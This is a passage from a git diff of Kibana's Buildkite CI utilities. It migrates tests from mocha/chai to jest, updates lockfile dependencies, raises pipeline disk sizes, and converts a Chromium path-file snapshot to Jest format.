"sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==", - "dev": true - }, "wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -5855,7 +9858,8 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "write-file-atomic": { "version": "5.0.1", @@ -5879,39 +9883,12 @@ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", "dev": true }, - "yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", - "dev": true, - "requires": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" - } - }, "yargs-parser": { - "version": "20.2.9", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", - "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", "dev": true }, - "yargs-unparser": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", - "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", - "dev": true, - "requires": { - "camelcase": "^6.0.0", - "decamelize": "^4.0.0", - "flat": "^5.0.2", - "is-plain-obj": "^2.1.0" - } - }, "yn": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", diff --git a/.buildkite/package.json b/.buildkite/package.json index a6e38af2f63f8..aae36d744248c 100644 --- a/.buildkite/package.json +++ b/.buildkite/package.json @@ -3,14 +3,12 @@ "version": "1.0.0", "description": "Kibana Buildkite", "scripts": { - "test": "mocha", - "test:watch": "mocha --watch" - }, - "overrides": { - "serialize-javascript": "^6.0.2" + "test": "jest --config jest.config.js", + "test:watch": "jest --config jest.config.js --watch", + "typecheck": "tsc --noEmit" }, "dependencies": { - "@octokit/rest": "^18.10.0", + "@octokit/rest": "^22.0.0", "adm-zip": "^0.5.16", "axios": "^1.8.3", "globby": "^11.1.0", @@ -20,18 +18,16 @@ "tslib": "*" }, "devDependencies": { - "@types/chai": "^4.3.3", + "@types/jest": "^30.0.0", "@types/js-yaml": "^4.0.9", "@types/jscodeshift": "^0.12.0", "@types/minimatch": "^3.0.5", "@types/minimist": "^1.2.5", - "@types/mocha": "^10.0.1", "@types/node": "^15.12.2", - "chai": "^4.3.10", - "chai-snapshot-tests": "^0.6.0", + "jest": "^30.0.3", "jscodeshift": "^17.1.2", - "mocha": "^11.0.1", "nock": "^12.0.2", + "ts-jest": "^29.4.0", "ts-node": "^10.9.2", "typescript": "^5.1.6" }, diff --git a/.buildkite/pipeline-utils/buildkite/client.test.ts b/.buildkite/pipeline-utils/buildkite/client.test.ts index 82ef41780916c..a59f2ef0a12f2 100644 --- a/.buildkite/pipeline-utils/buildkite/client.test.ts +++ b/.buildkite/pipeline-utils/buildkite/client.test.ts @@ -7,7 +7,6 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { expect } from 'chai'; import { BuildkiteClient } from './client'; import { Build } from './types/build'; import { Job } from './types/job'; @@ -45,9 +44,9 @@ describe('BuildkiteClient', () => { } as Build; const buildStatus = buildkite.getBuildStatus(build); - expect(buildStatus.success).to.eql(true); - expect(buildStatus.hasRetries).to.eql(true); - expect(buildStatus.hasNonPreemptionRetries).to.eql(false); + expect(buildStatus.success).toEqual(true); + expect(buildStatus.hasRetries).toEqual(true); + expect(buildStatus.hasNonPreemptionRetries).toEqual(false); }); it('has hasNonPreemptionRetries for spot non-preemption retries', async () => { @@ -75,9 +74,9 @@ describe('BuildkiteClient', () => { } as Build; const buildStatus = buildkite.getBuildStatus(build); - expect(buildStatus.success).to.eql(true); - expect(buildStatus.hasRetries).to.eql(true); - expect(buildStatus.hasNonPreemptionRetries).to.eql(true); + expect(buildStatus.success).toEqual(true); + expect(buildStatus.hasRetries).toEqual(true); + expect(buildStatus.hasNonPreemptionRetries).toEqual(true); }); it('has hasNonPreemptionRetries for non-spot retries with exit code -1', async () => { @@ -103,9 +102,9 @@ describe('BuildkiteClient', () => { } as Build; const buildStatus = buildkite.getBuildStatus(build); - expect(buildStatus.success).to.eql(true); - expect(buildStatus.hasRetries).to.eql(true); - expect(buildStatus.hasNonPreemptionRetries).to.eql(true); + expect(buildStatus.success).toEqual(true); + expect(buildStatus.hasRetries).toEqual(true); + expect(buildStatus.hasNonPreemptionRetries).toEqual(true); }); it('returns failure if build is failed and all jobs passed', async () => { @@ -121,7 +120,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getBuildStatus(build); - expect(result.success).to.eql(false); + expect(result.success).toEqual(false); }); }); @@ -140,7 +139,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(true); + expect(result.success).toEqual(true); }); it('returns failure if job is unsuccessful', async () => { @@ -157,7 +156,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(false); + expect(result.success).toEqual(false); }); it('returns success if retried job is successful', async () => { @@ -180,7 +179,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(true); + expect(result.success).toEqual(true); }); it('returns failure if retried job is unsuccessful', async () => { @@ -203,7 +202,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(false); + expect(result.success).toEqual(false); }); it('returns failure if job is waiting_failed', async () => { @@ -219,7 +218,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(false); + expect(result.success).toEqual(false); }); it('returns success if job is broken but of type: manual', async () => { @@ -236,7 +235,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(true); + expect(result.success).toEqual(true); }); it('returns success if job is broken but has no exit status', async () => { @@ -254,7 +253,7 @@ describe('BuildkiteClient', () => { } as Build; const result = buildkite.getJobStatus(build, job); - expect(result.success).to.eql(true); + expect(result.success).toEqual(true); }); }); }); diff --git a/.buildkite/pipeline-utils/buildkite/parse_link_header.test.ts b/.buildkite/pipeline-utils/buildkite/parse_link_header.test.ts index c74ae7c6efcba..1925a876cc255 100644 --- a/.buildkite/pipeline-utils/buildkite/parse_link_header.test.ts +++ b/.buildkite/pipeline-utils/buildkite/parse_link_header.test.ts @@ -7,7 +7,6 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { expect } from 'chai'; import { parseLinkHeader } from './parse_link_header'; describe('parseLinkHeader', () => { @@ -16,7 +15,7 @@ describe('parseLinkHeader', () => { '; rel="next", ; rel="last"' ); - expect(result).to.eql({ + expect(result).toEqual({ last: 'https://api.buildkite.com/v2/organizations/elastic/agents?page=5&per_page=1', next: 'https://api.buildkite.com/v2/organizations/elastic/agents?page=2&per_page=1', }); @@ -28,7 +27,7 @@ describe('parseLinkHeader', () => { 'https://api.buildkite.com' ); - expect(result).to.eql({ + expect(result).toEqual({ last: '/v2/organizations/elastic/agents?page=5&per_page=1', next: '/v2/organizations/elastic/agents?page=2&per_page=1', }); diff --git a/.buildkite/pipeline-utils/github/github.test.ts b/.buildkite/pipeline-utils/github/github.test.ts index ce3cddc95476e..9b7e3ca0ae5c4 100644 --- a/.buildkite/pipeline-utils/github/github.test.ts +++ b/.buildkite/pipeline-utils/github/github.test.ts @@ -8,7 +8,6 @@ */ import { RestEndpointMethodTypes } from '@octokit/rest'; -import { expect } from 'chai'; import { areChangesSkippable, doAnyChangesMatch } from './github'; describe('github', () => { @@ -29,7 +28,7 @@ describe('github', () => { getMockChangedFile('/package.json'), ]); - expect(match).to.eql(true); + expect(match).toEqual(true); }); it('when all files match', async () => { @@ -38,7 +37,7 @@ describe('github', () => { getMockChangedFile('/required/package.json'), ]); - expect(match).to.eql(true); + expect(match).toEqual(true); }); }); @@ -46,7 +45,7 @@ describe('github', () => { it('when no files match with one file', async () => { const match = await doAnyChangesMatch(required, [getMockChangedFile('/index.js')]); - expect(match).to.eql(false); + expect(match).toEqual(false); }); it('when no files match with multiple files', async () => { @@ -55,7 +54,7 @@ describe('github', () => { getMockChangedFile('/package.json'), ]); - expect(match).to.eql(false); + expect(match).toEqual(false); }); }); }); @@ -71,7 +70,7 @@ describe('github', () => { getMockChangedFile('package.json'), ]); - expect(execute).to.eql(false); + expect(execute).toEqual(false); }); it('when all files are non-skippable, non-required', async () => { @@ -79,7 +78,7 @@ describe('github', () => { getMockChangedFile('package.json'), ]); - expect(execute).to.eql(false); + expect(execute).toEqual(false); }); it('when a required file is present', async () => { @@ -88,7 +87,7 @@ describe('github', () => { getMockChangedFile('docs/whatever.md'), ]); - expect(execute).to.eql(false); + expect(execute).toEqual(false); }); it('when a required file is renamed', async () => { @@ -96,7 +95,7 @@ describe('github', () => { getMockChangedFile('docs/skipme.md', 'docs/required.md'), ]); - expect(execute).to.eql(false); + expect(execute).toEqual(false); }); }); @@ -107,7 +106,7 @@ describe('github', () => { getMockChangedFile('README.md'), ]); - expect(execute).to.eql(true); + expect(execute).toEqual(true); }); it('when all files are skippable and no required files are passed in', async () => { @@ -117,7 +116,7 @@ describe('github', () => { [getMockChangedFile('docs/index.js'), getMockChangedFile('README.md')] ); - expect(execute).to.eql(true); + expect(execute).toEqual(true); }); it('when renamed files new and old locations are skippable', async () => { @@ -126,7 +125,7 @@ describe('github', () => { getMockChangedFile('README.md', 'DOCS.md'), ]); - expect(execute).to.eql(true); + expect(execute).toEqual(true); }); }); }); diff --git a/.buildkite/pipeline-utils/test-failures/annotate.test.ts b/.buildkite/pipeline-utils/test-failures/annotate.test.ts index 5acd825027e08..fe97af75e63b5 100644 --- a/.buildkite/pipeline-utils/test-failures/annotate.test.ts +++ b/.buildkite/pipeline-utils/test-failures/annotate.test.ts @@ -7,7 +7,6 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { expect } from 'chai'; import { Artifact } from '../buildkite/types/artifact'; import { TestFailure, getAnnotation, getSlackMessage, getPrComment } from './annotate'; @@ -37,7 +36,7 @@ describe('Annotate', () => { it('should create an annotation without logs link if artifact is missing', () => { const annotation = getAnnotation([mockFailure], {}); - expect(annotation).to.eql( + expect(annotation).toEqual( '**Test Failures**
\n[[job]](https://buildkite.com/elastic/kibana-pull-request/builds/53#job-id) OSS CI Group #1 / test should fail' ); }); @@ -45,7 +44,7 @@ describe('Annotate', () => { it('should create an annotation with logs link if artifact is present', () => { const annotation = getAnnotation([mockFailure], mockArtifacts); - expect(annotation).to.eql( + expect(annotation).toEqual( '**Test Failures**
\n[[job]](https://buildkite.com/elastic/kibana-pull-request/builds/53#job-id) [[logs]](https://buildkite.com/organizations/elastic/pipelines/kibana-pull-request/builds/53/jobs/job-id/artifacts/artifact-id) OSS CI Group #1 / test should fail' ); }); @@ -55,7 +54,7 @@ describe('Annotate', () => { it('should create an annotation without logs link if artifact is missing', () => { const annotation = getSlackMessage([mockFailure, mockFailure], {}); - expect(annotation).to.eql( + expect(annotation).toEqual( '*Test Failures*\n' + ' OSS CI Group #1 / test should fail\n' + ' OSS CI Group #1 / test should fail' @@ -65,7 +64,7 @@ describe('Annotate', () => { it('should create an annotation with logs link if artifact is present', () => { const annotation = getSlackMessage([mockFailure], mockArtifacts); - expect(annotation).to.eql( + expect(annotation).toEqual( '*Test Failures*\n OSS CI Group #1 / test should fail' ); }); @@ -75,7 +74,7 @@ describe('Annotate', () => { mockFailure.githubIssue = 'https://github.com/some/failure/link/1234'; const annotation = getSlackMessage([mockFailure], mockArtifacts); - expect(annotation).to.eql( + expect(annotation).toEqual( '*Test Failures*\n OSS CI Group #1 / test should fail' ); }); @@ -85,7 +84,7 @@ describe('Annotate', () => { mockFailure.githubIssue = 'https://github.com/some/failure/link/1234'; const annotation = getSlackMessage([mockFailure], mockArtifacts); - expect(annotation).to.eql( + expect(annotation).toEqual( '*Test Failures*\n OSS CI Group #1 / test should fail' ); }); @@ -95,7 +94,7 @@ describe('Annotate', () => { it('should create an annotation without logs link if artifact is missing', () => { const annotation = getPrComment([mockFailure], {}); - expect(annotation).to.eql( + expect(annotation).toEqual( '### Test Failures\n* [[job]](https://buildkite.com/elastic/kibana-pull-request/builds/53#job-id) OSS CI Group #1 / test should fail' ); }); @@ -103,7 +102,7 @@ describe('Annotate', () => { it('should create an annotation with logs link if artifact is present', () => { const annotation = getPrComment([mockFailure], mockArtifacts); - expect(annotation).to.eql( + expect(annotation).toEqual( '### Test Failures\n* [[job]](https://buildkite.com/elastic/kibana-pull-request/builds/53#job-id) [[logs]](https://buildkite.com/organizations/elastic/pipelines/kibana-pull-request/builds/53/jobs/job-id/artifacts/artifact-id) OSS CI Group #1 / test should fail' ); }); diff --git a/.buildkite/pipeline-utils/utils.test.ts b/.buildkite/pipeline-utils/utils.test.ts index 698dc5ca115d8..ac023e01e46a1 100644 --- a/.buildkite/pipeline-utils/utils.test.ts +++ b/.buildkite/pipeline-utils/utils.test.ts @@ -7,9 +7,6 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -/* eslint-disable @typescript-eslint/no-unused-expressions */ - -import { expect } from 'chai'; import { getKibanaDir, getVersionsFile } from './utils'; import fs from 'fs'; @@ -19,8 +16,8 @@ describe('getKibanaDir', () => { it('should return the kibana directory', () => { const kibanaDir = getKibanaDir(); - expect(kibanaDir).to.be.ok; - expect(fs.existsSync(kibanaDir)).to.be.true; + expect(kibanaDir).toBeTruthy(); + expect(fs.existsSync(kibanaDir)).toBe(true); }); }); @@ -28,15 +25,15 @@ describe('getVersionsFile', () => { it('should return the versions file', () => { const versionsFile = getVersionsFile(); - expect(versionsFile).to.be.ok; - expect(versionsFile.versions).to.be.an('array'); + expect(versionsFile).toBeTruthy(); + expect(versionsFile.versions).toBeInstanceOf(Array); }); it('should correctly find prevMajor and prevMinor versions', () => { const versionsFile = getVersionsFile(); - expect(versionsFile.prevMajors).to.be.an('array'); - expect(versionsFile.prevMinors).to.be.an('array'); + expect(versionsFile.prevMajors).toBeInstanceOf(Array); + expect(versionsFile.prevMinors).toBeInstanceOf(Array); }); // TODO: write more tests with mocking... diff --git a/.buildkite/pipelines/es_serverless/verify_es_serverless_image.yml b/.buildkite/pipelines/es_serverless/verify_es_serverless_image.yml index 29ad5901ec014..b8723371f2105 100644 --- a/.buildkite/pipelines/es_serverless/verify_es_serverless_image.yml +++ b/.buildkite/pipelines/es_serverless/verify_es_serverless_image.yml @@ -54,7 +54,7 @@ steps: env: FTR_CONFIGS_SCRIPT: "TEST_ES_SERVERLESS_IMAGE=$ES_SERVERLESS_IMAGE .buildkite/scripts/steps/test/ftr_configs.sh" JEST_INTEGRATION_SCRIPT: "TEST_ES_SERVERLESS_IMAGE=$ES_SERVERLESS_IMAGE .buildkite/scripts/steps/test/jest_integration.sh" - FTR_CONFIG_PATTERNS: "**/test_serverless/**,**/test/security_solution_api_integration/**/serverless.config.ts,x-pack/test/api_integration/deployment_agnostic/configs/serverless/**" + FTR_CONFIG_PATTERNS: "**/test_serverless/**,**/test/security_solution_api_integration/**/serverless.config.ts,x-pack/test/api_integration/deployment_agnostic/configs/serverless/**,x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/**" FTR_EXTRA_ARGS: "$FTR_EXTRA_ARGS" LIMIT_CONFIG_TYPE: "functional,integration" retry: diff --git a/.buildkite/pipelines/on_merge.yml b/.buildkite/pipelines/on_merge.yml index 158fe2fbee424..fdd4851b5c837 100644 --- a/.buildkite/pipelines/on_merge.yml +++ b/.buildkite/pipelines/on_merge.yml @@ -10,7 +10,7 @@ steps: imageProject: elastic-images-prod provider: gcp machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 retry: automatic: - exit_status: '*' @@ -40,7 +40,7 @@ steps: provider: gcp machineType: n2-highcpu-8 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 60 retry: automatic: @@ -70,7 +70,7 @@ steps: provider: gcp machineType: n2-standard-16 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 60 retry: automatic: @@ -85,7 +85,7 @@ steps: provider: gcp machineType: n2-standard-32 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 60 retry: automatic: @@ -102,7 +102,7 @@ steps: diskType: 'hyperdisk-balanced' preemptible: true spotZones: us-central1-a,us-central1-b,us-central1-c - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 60 retry: automatic: @@ -134,7 +134,7 @@ steps: provider: gcp machineType: n2-highmem-4 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 80 retry: automatic: @@ -150,7 +150,7 @@ steps: imageProject: elastic-images-prod provider: gcp machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 10 depends_on: - build @@ -167,7 +167,7 @@ steps: imageProject: elastic-images-prod provider: gcp machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 10 env: JEST_UNIT_SCRIPT: '.buildkite/scripts/steps/test/jest.sh' @@ -569,8 +569,7 @@ steps: provider: gcp machineType: n2-standard-4 preemptible: true - artifact_paths: - "target/plugin_so_types_snapshot.json" + artifact_paths: 'target/plugin_so_types_snapshot.json' timeout_in_minutes: 30 retry: automatic: diff --git a/.buildkite/pipelines/pull_request/base.yml b/.buildkite/pipelines/pull_request/base.yml index 40cb6cd5254d2..2c1a85441ae1f 100644 --- a/.buildkite/pipelines/pull_request/base.yml +++ b/.buildkite/pipelines/pull_request/base.yml @@ -4,7 +4,7 @@ steps: timeout_in_minutes: 10 agents: machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 - wait @@ -27,7 +27,7 @@ steps: agents: machineType: n2-highcpu-8 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 key: quick_checks timeout_in_minutes: 60 retry: @@ -53,7 +53,7 @@ steps: agents: machineType: n2-standard-16 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 key: linting timeout_in_minutes: 60 retry: @@ -66,7 +66,7 @@ steps: agents: machineType: n2-standard-32 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 key: linting_with_types timeout_in_minutes: 60 retry: @@ -93,7 +93,7 @@ steps: diskType: 'hyperdisk-balanced' preemptible: true spotZones: us-central1-a,us-central1-b,us-central1-c - diskSizeGb: 80 + diskSizeGb: 85 key: check_types timeout_in_minutes: 60 retry: @@ -107,7 +107,7 @@ steps: label: Mark CI Stats as ready agents: machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 10 depends_on: - build @@ -121,7 +121,7 @@ steps: label: 'Pick Test Group Run Order' agents: machineType: n2-standard-2 - diskSizeGb: 80 + diskSizeGb: 85 timeout_in_minutes: 10 env: JEST_UNIT_SCRIPT: '.buildkite/scripts/steps/test/jest.sh' @@ -137,7 +137,7 @@ steps: agents: machineType: n2-highmem-4 preemptible: true - diskSizeGb: 80 + diskSizeGb: 85 key: build_api_docs timeout_in_minutes: 90 retry: diff --git a/.buildkite/scripts/common/activate_service_account.sh b/.buildkite/scripts/common/activate_service_account.sh index fd82d851314ac..7b2156d518858 100755 --- a/.buildkite/scripts/common/activate_service_account.sh +++ b/.buildkite/scripts/common/activate_service_account.sh @@ -13,7 +13,9 @@ if [[ -z "$CALL_ARGUMENT" ]]; then exit 1 elif [[ "$CALL_ARGUMENT" == "--unset-impersonation" ]]; then echo "Unsetting impersonation" - gcloud config unset auth/impersonate_service_account + if [[ -x "$(command -v gcloud)" ]]; then + gcloud config unset auth/impersonate_service_account + fi exit 0 elif [[ "$CALL_ARGUMENT" == "--logout-gcloud" ]]; then echo "Logging out of gcloud" diff --git a/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.json b/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.json deleted file mode 100644 index f991e5f924a05..0000000000000 --- a/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "updated_paths_file": "/*\n * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one\n * or more contributor license agreements. Licensed under the \"Elastic License\n * 2.0\", the \"GNU Affero General Public License v3.0 only\", and the \"Server Side\n * Public License v 1\"; you may not use this file except in compliance with, at\n * your election, the \"Elastic License 2.0\", the \"GNU Affero General Public\n * License v3.0 only\", or the \"Server Side Public License, v 1\".\n */\n\nimport path from 'path';\n\nexport interface PackageInfo {\n platform: 'linux' | 'darwin' | 'win32';\n architecture: 'x64' | 'arm64';\n archiveFilename: string;\n archiveChecksum: string;\n binaryChecksum: string;\n binaryRelativePath: string;\n isPreInstalled: boolean;\n location: 'custom' | 'chromeForTesting';\n}\n\nenum BaseUrl {\n // A GCS bucket under the Kibana team\n custom = 'https://storage.googleapis.com/headless_shell',\n // GCS bucket for headless chrome provided by the chrome team, see\n // https://github.com/GoogleChromeLabs/chrome-for-testing#json-api-endpoints\n chromeForTesting = 'https://storage.googleapis.com/chrome-for-testing-public',\n}\n\ninterface CustomPackageInfo extends PackageInfo {\n location: 'custom';\n}\n\ninterface ChromeForTestingPackageInfo extends PackageInfo {\n version: string;\n location: 'chromeForTesting';\n archivePath: string;\n}\n\nfunction isChromeForTestingPackage(p: PackageInfo): p is ChromeForTestingPackageInfo {\n return p.location === 'chromeForTesting';\n}\n\nexport class ChromiumArchivePaths {\n public readonly packages: Array = [\n {\n platform: 'darwin',\n architecture: 'x64',\n archiveFilename: 'chrome-headless-shell-mac-x64.zip',\n archiveChecksum: \"2e64a158419165ceee5db0b57703777bf21470f2d9656bbf100f54ebe059f695\",\n binaryChecksum: \"53dbb5e3d4327c980d7bb6dbcb6bd6f73b1de573925a2d4dab010d6cafcc3bbc\",\n binaryRelativePath: 'chrome-headless-shell-mac-x64/chrome-headless-shell',\n version: \"130.6943.126\",\n location: 'chromeForTesting',\n archivePath: 'mac-x64',\n isPreInstalled: false,\n },\n {\n platform: 'darwin',\n architecture: 'arm64',\n archiveFilename: 'chrome-headless-shell-mac-arm64.zip',\n archiveChecksum: \"51645431ecc1d843d4fdc34f3817ca2a4ac7c3b4450eb9f3117f806ebaa78487\",\n binaryChecksum: \"35f42c93856df90bd01bc809e8a32bffb25a48c83d7cc2feb9af6e2376f7fc65\",\n binaryRelativePath: 'chrome-headless-shell-mac-arm64/chrome-headless-shell',\n version: \"130.6943.126\",\n location: 'chromeForTesting',\n archivePath: 'mac-arm64',\n isPreInstalled: false,\n },\n {\n platform: 'linux',\n architecture: 'x64',\n archiveFilename: \"chromium-cffa127-locales-linux_x64.zip\",\n archiveChecksum: \"082d3bcabe0a04c4ec7f90d8e425f9c63147015964aa0d3b59a1cccd66571939\",\n binaryChecksum: \"a22ecc374131998d7ed05b2f433a1a8a819e3ae3b9c4dfa92311cf11ac9e34e1\",\n binaryRelativePath: 'headless_shell-linux_x64/headless_shell',\n location: 'custom',\n isPreInstalled: true,\n },\n {\n platform: 'linux',\n architecture: 'arm64',\n archiveFilename: \"chromium-cffa127-locales-linux_arm64.zip\",\n archiveChecksum: \"571437335b3b867207650390ca8827ea71a58a842f7bb22bbb497a1266324431\",\n binaryChecksum: \"68dafc4ae03cc4c2812e94f61f62db72a7dcde95754d817594bf25e3862647be\",\n binaryRelativePath: 'headless_shell-linux_arm64/headless_shell',\n location: 'custom',\n isPreInstalled: true,\n },\n {\n platform: 'win32',\n architecture: 'x64',\n archiveFilename: 'chrome-headless-shell-win64.zip',\n archiveChecksum: \"4fd9484cf67790b5bbff39be62d5835f6848a326a68b4be1b83dc22a4336efa1\",\n binaryChecksum: \"46054cfc2be47f7822008e29674baefd82912cdae107fbe07027cbe84622c0b9\",\n binaryRelativePath: path.join('chrome-headless-shell-win64', 'chrome-headless-shell.exe'),\n version: \"130.6943.126\",\n location: 'chromeForTesting',\n archivePath: 'win64',\n isPreInstalled: true,\n },\n ];\n\n // zip files get downloaded to a .chromium directory in the kibana root\n public readonly archivesPath = path.resolve(__dirname, '../../../../../../.chromium');\n\n public find(platform: string, architecture: string, packages: PackageInfo[] = this.packages) {\n return packages.find((p) => p.platform === platform && p.architecture === architecture);\n }\n\n public resolvePath(p: PackageInfo) {\n // adding architecture to the path allows it to download two binaries that have the same name, but are different architecture\n return path.resolve(this.archivesPath, p.architecture, p.archiveFilename);\n }\n\n public getAllArchiveFilenames(): string[] {\n return this.packages.map((p) => this.resolvePath(p));\n }\n\n public getDownloadUrl(p: PackageInfo) {\n if (isChromeForTestingPackage(p)) {\n const { chromeForTesting } = BaseUrl;\n const { archivePath, version, archiveFilename } = p;\n // returned string matches download value found at the following endpoint;\n // https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json\n return `${chromeForTesting}/${version}/${archivePath}/${archiveFilename}`;\n }\n\n return BaseUrl.custom + '/' + p.archiveFilename; // revision is not used for URL if package is a custom build\n }\n\n public getBinaryPath(p: PackageInfo, chromiumPath: string) {\n return path.join(chromiumPath, p.binaryRelativePath);\n }\n}" -} \ No newline at end of file diff --git a/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.snap b/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.snap new file mode 100644 index 0000000000000..e0abfa54efaac --- /dev/null +++ b/.buildkite/scripts/pipelines/chromium_linux_build/issue_feedback/__snapshots__/transform_path_file.test.ts.snap @@ -0,0 +1,140 @@ +// Jest Snapshot v1, https://jestjs.io/docs/snapshot-testing + +exports[`transform_path_file transform output matches our expectation: updated_paths_file 1`] = ` +"/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import path from 'path'; + +export interface PackageInfo { + platform: 'linux' | 'darwin' | 'win32'; + architecture: 'x64' | 'arm64'; + archiveFilename: string; + archiveChecksum: string; + binaryChecksum: string; + binaryRelativePath: string; + isPreInstalled: boolean; + location: 'custom' | 'chromeForTesting'; +} + +enum BaseUrl { + // A GCS bucket under the Kibana team + custom = 'https://storage.googleapis.com/headless_shell', + // GCS bucket for headless chrome provided by the chrome team, see + // https://github.com/GoogleChromeLabs/chrome-for-testing#json-api-endpoints + chromeForTesting = 'https://storage.googleapis.com/chrome-for-testing-public', +} + +interface CustomPackageInfo extends PackageInfo { + location: 'custom'; +} + +interface ChromeForTestingPackageInfo extends PackageInfo { + version: string; + location: 'chromeForTesting'; + archivePath: string; +} + +function isChromeForTestingPackage(p: PackageInfo): p is ChromeForTestingPackageInfo { + return p.location === 'chromeForTesting'; +} + +export class ChromiumArchivePaths { + public readonly packages: Array = [ + { + platform: 'darwin', + architecture: 'x64', + archiveFilename: 'chrome-headless-shell-mac-x64.zip', + archiveChecksum: "2e64a158419165ceee5db0b57703777bf21470f2d9656bbf100f54ebe059f695", + binaryChecksum: "53dbb5e3d4327c980d7bb6dbcb6bd6f73b1de573925a2d4dab010d6cafcc3bbc", + binaryRelativePath: 'chrome-headless-shell-mac-x64/chrome-headless-shell', + version: "130.6943.126", + location: 'chromeForTesting', + archivePath: 'mac-x64', + isPreInstalled: false, + }, + { + platform: 'darwin', + architecture: 'arm64', + archiveFilename: 'chrome-headless-shell-mac-arm64.zip', + archiveChecksum: "51645431ecc1d843d4fdc34f3817ca2a4ac7c3b4450eb9f3117f806ebaa78487", + binaryChecksum: "35f42c93856df90bd01bc809e8a32bffb25a48c83d7cc2feb9af6e2376f7fc65", + binaryRelativePath: 'chrome-headless-shell-mac-arm64/chrome-headless-shell', + version: "130.6943.126", + location: 'chromeForTesting', + archivePath: 'mac-arm64', + isPreInstalled: false, + }, + { + platform: 'linux', + architecture: 'x64', + archiveFilename: "chromium-cffa127-locales-linux_x64.zip", + archiveChecksum: "082d3bcabe0a04c4ec7f90d8e425f9c63147015964aa0d3b59a1cccd66571939", + binaryChecksum: "a22ecc374131998d7ed05b2f433a1a8a819e3ae3b9c4dfa92311cf11ac9e34e1", + binaryRelativePath: 'headless_shell-linux_x64/headless_shell', + location: 